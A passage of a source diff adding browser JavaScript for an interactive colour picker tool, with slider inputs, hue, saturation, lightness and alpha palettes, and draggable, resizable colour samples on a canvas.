+ /*************************************************************************/
+
+ var setPickerMode = function setPickerMode(topic, mode) {
+ if (pickers[topic])
+ pickers[topic].setPickerMode(mode);
+ };
+
+ var setColor = function setColor(topic, color) {
+ if (pickers[topic])
+ pickers[topic].setColor(color);
+ };
+
+ var getColor = function getColor(topic) {
+ if (pickers[topic])
+ return new Color(pickers[topic].color);
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(callback) {
+ subscribers.indexOf(callback);
+ subscribers.splice(index, 1);
+ };
+
+ var notify = function notify(topic, value) {
+ if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+ return;
+
+ var color = new Color(value);
+ for (var i in subscribers[topic])
+ subscribers[topic][i](color);
+ };
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-color-picker');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new ColorPicker(elem[i]);
+ };
+
+ return {
+ init : init,
+ Color : Color,
+ RGBColor : RGBColor,
+ RGBAColor : RGBAColor,
+ HSVColor : HSVColor,
+ HSVAColor : HSVAColor,
+ HSLColor : HSLColor,
+ HSLAColor : HSLAColor,
+ setColor : setColor,
+ getColor : getColor,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe,
+ setPickerMode : setPickerMode
+ };
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+ var subscribers = {};
+ var sliders = [];
+
+ var InputComponent = function InputComponent(obj) {
+ var input = document.createElement('input');
+ input.setAttribute('type', 'text');
+ input.style.width = 50 + obj.precision * 10 + 'px';
+
+ input.addEventListener('click', function(e) {
+ this.select();
+ });
+
+ input.addEventListener('change', function(e) {
+ var value = parseFloat(e.target.value);
+
+ if (isNaN(value) === true)
+ setValue(obj.topic, obj.value);
+ else
+ setValue(obj.topic, value);
+ });
+
+ return input;
+ };
+
+ var SliderComponent = function SliderComponent(obj, sign) {
+ var slider = document.createElement('div');
+ var startX = null;
+ var start_value = 0;
+
+ slider.addEventListener("click", function(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ setValue(obj.topic, obj.value + obj.step * sign);
+ });
+
+ slider.addEventListener("mousedown", function(e) {
+ startX = e.clientX;
+ start_value = obj.value;
+ document.body.style.cursor = "e-resize";
+
+ document.addEventListener("mouseup", slideEnd);
+ document.addEventListener("mousemove", sliderMotion);
+ });
+
+ var slideEnd = function slideEnd(e) {
+ document.removeEventListener("mousemove", sliderMotion);
+ document.body.style.cursor = "auto";
+ slider.style.cursor = "pointer";
+ };
+
+ var sliderMotion = function sliderMotion(e) {
+ slider.style.cursor = "e-resize";
+ var delta = (e.clientX - startX) / obj.sensivity | 0;
+ var value = delta * obj.step + start_value;
+ setValue(obj.topic, value);
+ };
+
+ return slider;
+ };
+
+ var InputSlider = function(node) {
+ var min = parseFloat(node.getAttribute('data-min'));
+ var max = parseFloat(node.getAttribute('data-max'));
+ var step = parseFloat(node.getAttribute('data-step'));
+ var value = parseFloat(node.getAttribute('data-value'));
+ var topic = node.getAttribute('data-topic');
+ var unit = node.getAttribute('data-unit');
+ var name = node.getAttribute('data-info');
+ var sensivity = node.getAttribute('data-sensivity') | 0;
+ var precision = node.getAttribute('data-precision') | 0;
+
+ this.min = isNaN(min) ? 0 : min;
+ this.max = isNaN(max) ? 100 : max;
+ this.precision = precision &gt;= 0 ? precision : 0;
+ this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+ this.topic = topic;
+ this.node = node;
+ this.unit = unit === null ? '' : unit;
+ this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+ value = isNaN(value) ? this.min : value;
+
+ var input = new InputComponent(this);
+ var slider_left = new SliderComponent(this, -1);
+ var slider_right = new SliderComponent(this, 1);
+
+ slider_left.className = 'ui-input-slider-left';
+ slider_right.className = 'ui-input-slider-right';
+
+ if (name) {
+ var info = document.createElement('span');
+ info.className = 'ui-input-slider-info';
+ info.textContent = name;
+ node.appendChild(info);
+ }
+
+ node.appendChild(slider_left);
+ node.appendChild(input);
+ node.appendChild(slider_right);
+
+ this.input = input;
+ sliders[topic] = this;
+ setValue(topic, value);
+ };
+
+ InputSlider.prototype.setInputValue = function setInputValue() {
+ this.input.value = this.value.toFixed(this.precision) + this.unit;
+ };
+
+ var setValue = function setValue(topic, value, send_notify) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = parseFloat(value.toFixed(slider.precision));
+
+ if (value &gt; slider.max) value = slider.max;
+ if (value &lt; slider.min) value = slider.min;
+
+ slider.value = value;
+ slider.node.setAttribute('data-value', value);
+
+ slider.setInputValue();
+
+ if (send_notify === false)
+ return;
+
+ notify.call(slider);
+ };
+
+ var setMax = function setMax(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.max = value;
+ setValue(topic, slider.value);
+ };
+
+ var setMin = function setMin(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.min = value;
+ setValue(topic, slider.value);
+ };
+
+ var setUnit = function setUnit(topic, unit) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.unit = unit;
+ setValue(topic, slider.value);
+ };
+
+ var setStep = function setStep(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ slider.step = parseFloat(value);
+ setValue(topic, slider.value);
+ };
+
+ var setPrecision = function setPrecision(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = value | 0;
+ slider.precision = value;
+
+ var step = parseFloat(slider.step.toFixed(value));
+ if (step === 0)
+ slider.step = 1 / Math.pow(10, value);
+
+ setValue(topic, slider.value);
+ };
+
+ var setSensivity = function setSensivity(topic, value) {
+ var slider = sliders[topic];
+ if (slider === undefined)
+ return;
+
+ value = value | 0;
+
+ slider.sensivity = value &gt; 0 ? value : 5;
+ };
+
+ var getNode = function getNode(topic) {
+ return sliders[topic].node;
+ };
+
+ var getPrecision = function getPrecision(topic) {
+ return sliders[topic].precision;
+ };
+
+ var getStep = function getStep(topic) {
+ return sliders[topic].step;
+ };
+
+ var subscribe = function subscribe(topic, callback) {
+ if (subscribers[topic] === undefined)
+ subscribers[topic] = [];
+ subscribers[topic].push(callback);
+ };
+
+ var unsubscribe = function unsubscribe(topic, callback) {
+ subscribers[topic].indexOf(callback);
+ subscribers[topic].splice(index, 1);
+ };
+
+ var notify = function notify() {
+ if (subscribers[this.topic] === undefined)
+ return;
+ for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+ subscribers[this.topic][i](this.value);
+ };
+
+ var createSlider = function createSlider(topic, label) {
+ var slider = document.createElement('div');
+ slider.className = 'ui-input-slider';
+ slider.setAttribute('data-topic', topic);
+
+ if (label !== undefined)
+ slider.setAttribute('data-info', label);
+
+ new InputSlider(slider);
+ return slider;
+ };
+
+ var init = function init() {
+ var elem = document.querySelectorAll('.ui-input-slider');
+ var size = elem.length;
+ for (var i = 0; i &lt; size; i++)
+ new InputSlider(elem[i]);
+ };
+
+ return {
+ init : init,
+ setMax : setMax,
+ setMin : setMin,
+ setUnit : setUnit,
+ setStep : setStep,
+ getNode : getNode,
+ getStep : getStep,
+ setValue : setValue,
+ subscribe : subscribe,
+ unsubscribe : unsubscribe,
+ setPrecision : setPrecision,
+ setSensivity : setSensivity,
+ getPrecision : getPrecision,
+ createSlider : createSlider,
+ };
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+ ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+ /*========== Get DOM Element By ID ==========*/
+
+ function getElemById(id) {
+ return document.getElementById(id);
+ }
+
+ function allowDropEvent(e) {
+ e.preventDefault();
+ }
+
+ /*========== Make an element resizable relative to it's parent ==========*/
+
+ var UIComponent = (function UIComponent() {
+
+ function makeResizable(elem, axis) {
+ var valueX = 0;
+ var valueY = 0;
+ var action = 0;
+
+ var resizeStart = function resizeStart(e) {
+ e.stopPropagation();
+ e.preventDefault();
+ if (e.button !== 0)
+ return;
+
+ valueX = e.clientX - elem.clientWidth;
+ valueY = e.clientY - elem.clientHeight;
+
+ document.body.setAttribute('data-resize', axis);
+ document.addEventListener('mousemove', mouseMove);
+ document.addEventListener('mouseup', resizeEnd);
+ };
+
+ var mouseMove = function mouseMove(e) {
+ if (action &gt;= 0)
+ elem.style.width = e.clientX - valueX + 'px';
+ if (action &lt;= 0)
+ elem.style.height = e.clientY - valueY + 'px';
+ };
+
+ var resizeEnd = function resizeEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ document.body.removeAttribute('data-resize', axis);
+ document.removeEventListener('mousemove', mouseMove);
+ document.removeEventListener('mouseup', resizeEnd);
+ };
+
+ var handle = document.createElement('div');
+ handle.className = 'resize-handle';
+
+ if (axis === 'width') action = 1;
+ else if (axis === 'height') action = -1;
+ else axis = 'both';
+
+ handle.className = 'resize-handle';
+ handle.setAttribute('data-resize', axis);
+ handle.addEventListener('mousedown', resizeStart);
+ elem.appendChild(handle);
+ };
+
+ /*========== Make an element draggable relative to it's parent ==========*/
+
+ var makeDraggable = function makeDraggable(elem, endFunction) {
+
+ var offsetTop;
+ var offsetLeft;
+
+ elem.setAttribute('data-draggable', 'true');
+
+ var dragStart = function dragStart(e) {
+ e.preventDefault();
+ e.stopPropagation();
+
+ if (e.target.getAttribute('data-draggable') !== 'true' ||
+ e.target !== elem || e.button !== 0)
+ return;
+
+ offsetLeft = e.clientX - elem.offsetLeft;
+ offsetTop = e.clientY - elem.offsetTop;
+
+ document.addEventListener('mousemove', mouseDrag);
+ document.addEventListener('mouseup', dragEnd);
+ };
+
+ var dragEnd = function dragEnd(e) {
+ if (e.button !== 0)
+ return;
+
+ document.removeEventListener('mousemove', mouseDrag);
+ document.removeEventListener('mouseup', dragEnd);
+ };
+
+ var mouseDrag = function mouseDrag(e) {
+ elem.style.left = e.clientX - offsetLeft + 'px';
+ elem.style.top = e.clientY - offsetTop + 'px';
+ };
+
+ elem.addEventListener('mousedown', dragStart, false);
+ };
+
+ return {
+ makeResizable : makeResizable,
+ makeDraggable : makeDraggable
+ };
+
+ })();
+
+ /*========== Color Class ==========*/
+
+ var Color = UIColorPicker.Color;
+ var HSLColor = UIColorPicker.HSLColor;
+
+ /**
+ * ColorPalette
+ */
+ var ColorPalette = (function ColorPalette() {
+
+ var samples = [];
+ var color_palette;
+ var complementary;
+
+ var hideNode = function(node) {
+ node.setAttribute('data-hidden', 'true');
+ };
+
+ var ColorSample = function ColorSample(id) {
+ var node = document.createElement('div');
+ node.className = 'sample';
+
+ this.uid = samples.length;
+ this.node = node;
+ this.color = new Color();
+
+ node.setAttribute('sample-id', this.uid);
+ node.setAttribute('draggable', 'true');
+ node.addEventListener('dragstart', this.dragStart.bind(this));
+ node.addEventListener('click', this.pickColor.bind(this));
+
+ samples.push(this);
+ };
+
+ ColorSample.prototype.updateBgColor = function updateBgColor() {
+ this.node.style.backgroundColor = this.color.getColor();
+ };
+
+ ColorSample.prototype.updateColor = function updateColor(color) {
+ this.color.copy(color);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+ this.color.copy(color);
+ var hue = (steps * degree + this.color.hue) % 360;
+ if (hue &lt; 0) hue += 360;
+ this.color.setHue(hue);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+ var saturation = color.saturation + value * steps;
+ if (saturation &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.setSaturation(saturation);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+ var lightness = color.lightness + value * steps;
+ if (lightness &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.setLightness(lightness);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+ var brightness = color.value + value * steps;
+ if (brightness &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.setValue(brightness);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+ var alpha = parseFloat(color.a) + value * steps;
+ if (alpha &lt;= 0) {
+ this.node.setAttribute('data-hidden', 'true');
+ return;
+ }
+ this.node.removeAttribute('data-hidden');
+ this.color.copy(color);
+ this.color.a = parseFloat(alpha.toFixed(2));
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.pickColor = function pickColor() {
+ UIColorPicker.setColor('picker', this.color);
+ };
+
+ ColorSample.prototype.dragStart = function dragStart(e) {
+ e.dataTransfer.setData('sampleID', this.uid);
+ e.dataTransfer.setData('location', 'palette-samples');
+ };
+
+ var Palette = function Palette(text, size) {
+ this.samples = [];
+ this.locked = false;
+
+ var palette = document.createElement('div');
+ var title = document.createElement('div');
+ var controls = document.createElement('div');
+ var container = document.createElement('div');
+ var lock = document.createElement('div');
+
+ container.className = 'container';
+ title.className = 'title';
+ palette.className = 'palette';
+ controls.className = 'controls';
+ lock.className = 'lock';
+ title.textContent = text;
+
+ controls.appendChild(lock);
+ container.appendChild(title);
+ container.appendChild(controls);
+ container.appendChild(palette);
+
+ lock.addEventListener('click', function () {
+ this.locked = !this.locked;
+ lock.setAttribute('locked-state', this.locked);
+ }.bind(this));
+
+ for(var i = 0; i &lt; size; i++) {
+ var sample = new ColorSample();
+ this.samples.push(sample);
+ palette.appendChild(sample.node);
+ }
+
+ this.container = container;
+ this.title = title;
+ };
+
+ var createHuePalette = function createHuePalette() {
+ var palette = new Palette('Hue', 12);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ for(var i = 0; i &lt; 12; i++) {
+ palette.samples[i].updateHue(color, 30, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ var createSaturationPalette = function createSaturationPalette() {
+ var palette = new Palette('Saturation', 11);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ for(var i = 0; i &lt; 11; i++) {
+ palette.samples[i].updateSaturation(color, -10, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ /* Brightness or Lightness - depends on the picker mode */
+ var createVLPalette = function createSaturationPalette() {
+ var palette = new Palette('Lightness', 11);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ if(color.format === 'HSL') {
+ palette.title.textContent = 'Lightness';
+ for(var i = 0; i &lt; 11; i++)
+ palette.samples[i].updateLightness(color, -10, i);
+ }
+ else {
+ palette.title.textContent = 'Value';
+ for(var i = 0; i &lt; 11; i++)
+ palette.samples[i].updateBrightness(color, -10, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ var isBlankPalette = function isBlankPalette(container, value) {
+ if (value === 0) {
+ container.setAttribute('data-collapsed', 'true');
+ return true;
+ }
+
+ container.removeAttribute('data-collapsed');
+ return false;
+ };
+
+ var createAlphaPalette = function createAlphaPalette() {
+ var palette = new Palette('Alpha', 10);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (palette.locked === true)
+ return;
+
+ for(var i = 0; i &lt; 10; i++) {
+ palette.samples[i].updateAlpha(color, -0.1, i);
+ }
+ });
+
+ color_palette.appendChild(palette.container);
+ };
+
+ var getSampleColor = function getSampleColor(id) {
+ if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+ return new Color(samples[id].color);
+ };
+
+ var init = function init() {
+ color_palette = getElemById('color-palette');
+
+ createHuePalette();
+ createSaturationPalette();
+ createVLPalette();
+ createAlphaPalette();
+
+ };
+
+ return {
+ init : init,
+ getSampleColor : getSampleColor
+ };
+
+ })();
+
+ /**
+ * ColorInfo
+ */
+ var ColorInfo = (function ColorInfo() {
+
+ var info_box;
+ var select;
+ var RGBA;
+ var HEXA;
+ var HSLA;
+
+ var updateInfo = function updateInfo(color) {
+ if (color.a | 0 === 1) {
+ RGBA.info.textContent = 'RGB';
+ HSLA.info.textContent = 'HSL';
+ }
+ else {
+ RGBA.info.textContent = 'RGBA';
+ HSLA.info.textContent = 'HSLA';
+ }
+
+ RGBA.value.value = color.getRGBA();
+ HSLA.value.value = color.getHSLA();
+ HEXA.value.value = color.getHexa();
+ };
+
+ var InfoProperty = function InfoProperty(info) {
+
+ var node = document.createElement('div');
+ var title = document.createElement('div');
+ var value = document.createElement('input');
+ var copy = document.createElement('div');
+
+ node.className = 'property';
+ title.className = 'type';
+ value.className = 'value';
+ copy.className = 'copy';
+
+ title.textContent = info;
+ value.setAttribute('type', 'text');
+
+ copy.addEventListener('click', function() {
+ value.select();
+ });
+
+ node.appendChild(title);
+ node.appendChild(value);
+ node.appendChild(copy);
+
+ this.node = node;
+ this.value = value;
+ this.info = title;
+
+ info_box.appendChild(node);
+ };
+
+ var init = function init() {
+
+ info_box = getElemById('color-info');
+
+ RGBA = new InfoProperty('RGBA');
+ HSLA = new InfoProperty('HSLA');
+ HEXA = new InfoProperty('HEXA');
+
+ UIColorPicker.subscribe('picker', updateInfo);
+
+ };
+
+ return {
+ init: init
+ };
+
+ })();
+
+ /**
+ * ColorPicker Samples
+ */
+ var ColorPickerSamples = (function ColorPickerSamples() {
+
+ var samples = [];
+ var nr_samples = 0;
+ var active = null;
+ var container = null;
+ var samples_per_line = 10;
+ var trash_can = null;
+ var base_color = new HSLColor(0, 50, 100);
+ var add_btn;
+ var add_btn_pos;
+
+ var ColorSample = function ColorSample() {
+ var node = document.createElement('div');
+ node.className = 'sample';
+
+ this.uid = samples.length;
+ this.index = nr_samples++;
+ this.node = node;
+ this.color = new Color(base_color);
+
+ node.setAttribute('sample-id', this.uid);
+ node.setAttribute('draggable', 'true');
+
+ node.addEventListener('dragstart', this.dragStart.bind(this));
+ node.addEventListener('dragover' , allowDropEvent);
+ node.addEventListener('drop' , this.dragDrop.bind(this));
+
+ this.updatePosition(this.index);
+ this.updateBgColor();
+ samples.push(this);
+ };
+
+ ColorSample.prototype.updateBgColor = function updateBgColor() {
+ this.node.style.backgroundColor = this.color.getColor();
+ };
+
+ ColorSample.prototype.updatePosition = function updatePosition(index) {
+ this.index = index;
+ this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+ this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+ this.node.style.top = this.posY + 'px';
+ this.node.style.left = this.posX + 'px';
+ };
+
+ ColorSample.prototype.updateColor = function updateColor(color) {
+ this.color.copy(color);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.activate = function activate() {
+ UIColorPicker.setColor('picker', this.color);
+ this.node.setAttribute('data-active', 'true');
+ };
+
+ ColorSample.prototype.deactivate = function deactivate() {
+ this.node.removeAttribute('data-active');
+ };
+
+ ColorSample.prototype.dragStart = function dragStart(e) {
+ e.dataTransfer.setData('sampleID', this.uid);
+ e.dataTransfer.setData('location', 'picker-samples');
+ };
+
+ ColorSample.prototype.dragDrop = function dragDrop(e) {
+ e.stopPropagation();
+ this.color = Tool.getSampleColorFrom(e);
+ this.updateBgColor();
+ };
+
+ ColorSample.prototype.deleteSample = function deleteSample() {
+ container.removeChild(this.node);
+ samples[this.uid] = null;
+ nr_samples--;
+ };
+
+ var updateUI = function updateUI() {
+ updateContainerProp();
+
+ var index = 0;
+ var nr = samples.length;
+ for (var i=0; i &lt; nr; i++)
+ if (samples[i] !== null) {
+ samples[i].updatePosition(index);
+ index++;
+ }
+
+ AddSampleButton.updatePosition(index);
+ };
+
+ var deleteSample = function deleteSample(e) {
+ trash_can.parentElement.setAttribute('drag-state', 'none');
+
+ var location = e.dataTransfer.getData('location');
+ if (location !== 'picker-samples')
+ return;
+
+ var sampleID = e.dataTransfer.getData('sampleID');
+ samples[sampleID].deleteSample();
+ console.log(samples);
+
+ updateUI();
+ };
+
+ var createDropSample = function createDropSample() {
+ var sample = document.createElement('div');
+ sample.id = 'drop-effect-sample';
+ sample.className = 'sample';
+ container.appendChild(sample);
+ };
+
+ var setActivateSample = function setActivateSample(e) {
+ if (e.target.className !== 'sample')
+ return;
+
+ unsetActiveSample(active);
+ Tool.unsetVoidSample();
+ CanvasSamples.unsetActiveSample();
+ active = samples[e.target.getAttribute('sample-id')];
+ active.activate();
+ };
+
+ var unsetActiveSample = function unsetActiveSample() {
+ if (active)
+ active.deactivate();
+ active = null;
+ };
+
+ var getSampleColor = function getSampleColor(id) {
+ if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+ return new Color(samples[id].color);
+ };
+
+ var updateContainerProp = function updateContainerProp() {
+ samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+ var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+ container.style.height = height + 10 + 'px';
+ };
+
+ var AddSampleButton = (function AddSampleButton() {
+ var node;
+ var _index = 0;
+ var _posX;
+ var _posY;
+
+ var updatePosition = function updatePosition(index) {
+ _index = index;
+ _posY = 5 + ((index / samples_per_line) | 0) * 52;
+ _posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+ node.style.top = _posY + 'px';
+ node.style.left = _posX + 'px';
+ };
+
+ var addButtonClick = function addButtonClick() {
+ var sample = new ColorSample();
+ container.appendChild(sample.node);
+ updatePosition(_index + 1);
+ updateUI();
+ };
+
+ var init = function init() {
+ node = document.createElement('div');
+ var icon = document.createElement('div');
+
+ node.className = 'sample';
+ icon.id = 'add-icon';
+ node.appendChild(icon);
+ node.addEventListener('click', addButtonClick);
+
+ updatePosition(0);
+ container.appendChild(node);
+ };
+
+ return {
+ init : init,
+ updatePosition : updatePosition
+ };
+ })();
+
+ var init = function init() {
+ container = getElemById('picker-samples');
+ trash_can = getElemById('trash-can');
+
+ AddSampleButton.init();
+
+ for (var i=0; i&lt;16; i++) {
+ var sample = new ColorSample();
+ container.appendChild(sample.node);
+ }
+
+ AddSampleButton.updatePosition(samples.length);
+ updateUI();
+
+ active = samples[0];
+ active.activate();
+
+ container.addEventListener('click', setActivateSample);
+
+ trash_can.addEventListener('dragover', allowDropEvent);
+ trash_can.addEventListener('dragenter', function() {
+ this.parentElement.setAttribute('drag-state', 'enter');
+ });
+ trash_can.addEventListener('dragleave', function(e) {
+ this.parentElement.setAttribute('drag-state', 'none');
+ });
+ trash_can.addEventListener('drop', deleteSample);
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (active)
+ active.updateColor(color);
+ });
+
+ };
+
+ return {
+ init : init,
+ getSampleColor : getSampleColor,
+ unsetActiveSample : unsetActiveSample
+ };
+
+ })();
+
+ /**
+ * Canvas Samples
+ */
+ var CanvasSamples = (function CanvasSamples() {
+
+ var active = null;
+ var canvas = null;
+ var samples = [];
+ var zindex = null;
+ var tutorial = true;
+
+ var CanvasSample = function CanvasSample(color, posX, posY) {
+
+ var node = document.createElement('div');
+ var pick = document.createElement('div');
+ var delete_btn = document.createElement('div');
+ node.className = 'sample';
+ pick.className = 'pick';
+ delete_btn.className = 'delete';
+
+ this.uid = samples.length;
+ this.node = node;
+ this.color = color;
+ this.updateBgColor();
+ this.zIndex = 1;
+
+ node.style.top = posY - 50 + 'px';
+ node.style.left = posX - 50 + 'px';
+ node.setAttribute('sample-id', this.uid);
+
+ node.appendChild(pick);
+ node.appendChild(delete_btn);
+
+ var activate = function activate() {
+ setActiveSample(this);
+ }.bind(this);
+
+ node.addEventListener('dblclick', activate);
+ pick.addEventListener('click', activate);
+ delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+ UIComponent.makeDraggable(node);
+ UIComponent.makeResizable(node);
+
+ samples.push(this);
+ canvas.appendChild(node);
+ return this;
+ };
+
+ CanvasSample.prototype.updateBgColor = function updateBgColor() {
+ this.node.style.backgroundColor = this.color.getColor();
+ };
+
+ CanvasSample.prototype.updateColor = function updateColor(color) {
+ this.color.copy(color);
+ this.updateBgColor();
+ };
+
+ CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+ this.zIndex = value;
+ this.node.style.zIndex = value;
+ };
+
+ CanvasSample.prototype.activate = function activate() {
+ this.node.setAttribute('data-active', 'true');
+ zindex.setAttribute('data-active', 'true');
+
+ UIColorPicker.setColor('picker', this.color);
+ InputSliderManager.setValue('z-index', this.zIndex);
+ };
+
+ CanvasSample.prototype.deactivate = function deactivate() {
+ this.node.removeAttribute('data-active');
+ zindex.removeAttribute('data-active');
+ };
+
+ CanvasSample.prototype.deleteSample = function deleteSample() {
+ if (active === this)
+ unsetActiveSample();
+ canvas.removeChild(this.node);
+ samples[this.uid] = null;
+ };
+
+ CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+ this.node.style.top = posY - this.startY + 'px';
+ this.node.style.left = posX - this.startX + 'px';
+ };
+
+ var canvasDropEvent = function canvasDropEvent(e) {
+ var color = Tool.getSampleColorFrom(e);
+
+ if (color) {
+ var offsetX = e.pageX - canvas.offsetLeft;
+ var offsetY = e.pageY - canvas.offsetTop;
+ var sample = new CanvasSample(color, offsetX, offsetY);
+ if (tutorial) {
+ tutorial = false;
+ canvas.removeAttribute('data-tutorial');
+ var info = new CanvasSample(new Color(), 100, 100);
+ info.node.setAttribute('data-tutorial', 'dblclick');
+ }
+ }
+
+ };
+
+ var setActiveSample = function setActiveSample(sample) {
+ ColorPickerSamples.unsetActiveSample();
+ Tool.unsetVoidSample();
+ unsetActiveSample();
+ active = sample;
+ active.activate();
+ };
+
+ var unsetActiveSample = function unsetActiveSample() {
+ if (active)
+ active.deactivate();
+ active = null;
+ };
+
+ var createToggleBgButton = function createToggleBgButton() {
+ var button = document.createElement('div');
+ var state = false;
+ button.className = 'toggle-bg';
+ canvas.appendChild(button);
+
+ button.addEventListener('click', function() {
+ console.log(state);
+ state = !state;
+ canvas.setAttribute('data-bg', state);
+ });
+ };
+
+ var init = function init() {
+ canvas = getElemById('canvas');
+ zindex = getElemById('zindex');
+
+ canvas.addEventListener('dragover', allowDropEvent);
+ canvas.addEventListener('drop', canvasDropEvent);
+
+ createToggleBgButton();
+
+ UIColorPicker.subscribe('picker', function(color) {
+ if (active) active.updateColor(color);
+ });
+
+ InputSliderManager.subscribe('z-index', function (value) {
+ if (active) active.updateZIndex(value);
+ });
+
+ UIComponent.makeResizable(canvas, 'height');
+ };
+
+ return {
+ init : init,
+ unsetActiveSample : unsetActiveSample
+ };
+
+ })();
+
+ var StateButton = function StateButton(node, state) {
+ this.state = false;
+ this.callback = null;
+
+ node.addEventListener('click', function() {
+ this.state = !this.state;
+ if (typeof this.callback === "function")
+ this.callback(this.state);
+ }.bind(this));
+ };
+
+ StateButton.prototype.set = function set() {
+ this.state = true;
+ if (typeof this.callback === "function")
+ this.callback(this.state);
+ };
+
+ StateButton.prototype.unset = function unset() {
+ this.state = false;
+ if (typeof this.callback === "function")
+ this.callback(this.state);
+ };
+
+ StateButton.prototype.subscribe = function subscribe(func) {
+ this.callback = func;
+ };
+
+
+ /**
+ * Tool
+ */
+ var Tool = (function Tool() {
+
+ var samples = [];
+ var controls = null;
+ var void_sw;
+
+ var createPickerModeSwitch = function createPickerModeSwitch() {
+ var parent = getElemById('controls');
+ var icon = document.createElement('div');
+ var button = document.createElement('div');
+ var hsv = document.createElement('div');
+ var hsl = document.createElement('div');
+ var active = null;
+
+ icon.className = 'icon picker-icon';
+ button.className = 'switch';
+ button.appendChild(hsv);
+ button.appendChild(hsl);
+
+ hsv.textContent = 'HSV';
+ hsl.textContent = 'HSL';
+
+ active = hsl;
+ active.setAttribute('data-active', 'true');
+
+ function switchPickingModeTo(elem) {
+ active.removeAttribute('data-active');
+ active = elem;
+ active.setAttribute('data-active', 'true');
+ UIColorPicker.setPickerMode('picker', active.textContent);
+ };
+
+ var picker_sw = new StateButton(icon);
+ picker_sw.subscribe(function() {
+ if (active === hsv)
+ switchPickingModeTo(hsl);
+ else
+ switchPickingModeTo(hsv);
+ });
+
+ hsv.addEventListener('click', function() {
+ switchPickingModeTo(hsv);
+ });
+ hsl.addEventListener('click', function() {
+ switchPickingModeTo(hsl);
+ });
+
+ parent.appendChild(icon);
+ parent.appendChild(button);
+ };
+
+ var setPickerDragAndDrop = function setPickerDragAndDrop() {
+ var preview = document.querySelector('#picker .preview-color');
+ var picking_area = document.querySelector('#picker .picking-area');
+
+ preview.setAttribute('draggable', 'true');
+ preview.addEventListener('drop', drop);
+ preview.addEventListener('dragstart', dragStart);
+ preview.addEventListener('dragover', allowDropEvent);
+
+ picking_area.addEventListener('drop', drop);
+ picking_area.addEventListener('dragover', allowDropEvent);
+
+ function drop(e) {
+ var color = getSampleColorFrom(e);
+ UIColorPicker.setColor('picker', color);
+ };
+
+ function dragStart(e) {
+ e.dataTransfer.setData('sampleID', 'picker');
+ e.dataTransfer.setData('location', 'picker');
+ };
+ };
+
+ var getSampleColorFrom = function getSampleColorFrom(e) {
+ var sampleID = e.dataTransfer.getData('sampleID');
+ var location = e.dataTransfer.getData('location');
+
+ if (location === 'picker')
+ return UIColorPicker.getColor(sampleID);
+ if (location === 'picker-samples')
+ return ColorPickerSamples.getSampleColor(sampleID);
+ if (location === 'palette-samples')
+ return ColorPalette.getSampleColor(sampleID);
+ };
+
+ var setVoidSwitch = function setVoidSwitch() {
+ var void_sample = getElemById('void-sample');
+ void_sw = new StateButton(void_sample);
+ void_sw.subscribe( function (state) {
+ void_sample.setAttribute('data-active', state);
+ if (state === true) {
+ ColorPickerSamples.unsetActiveSample();
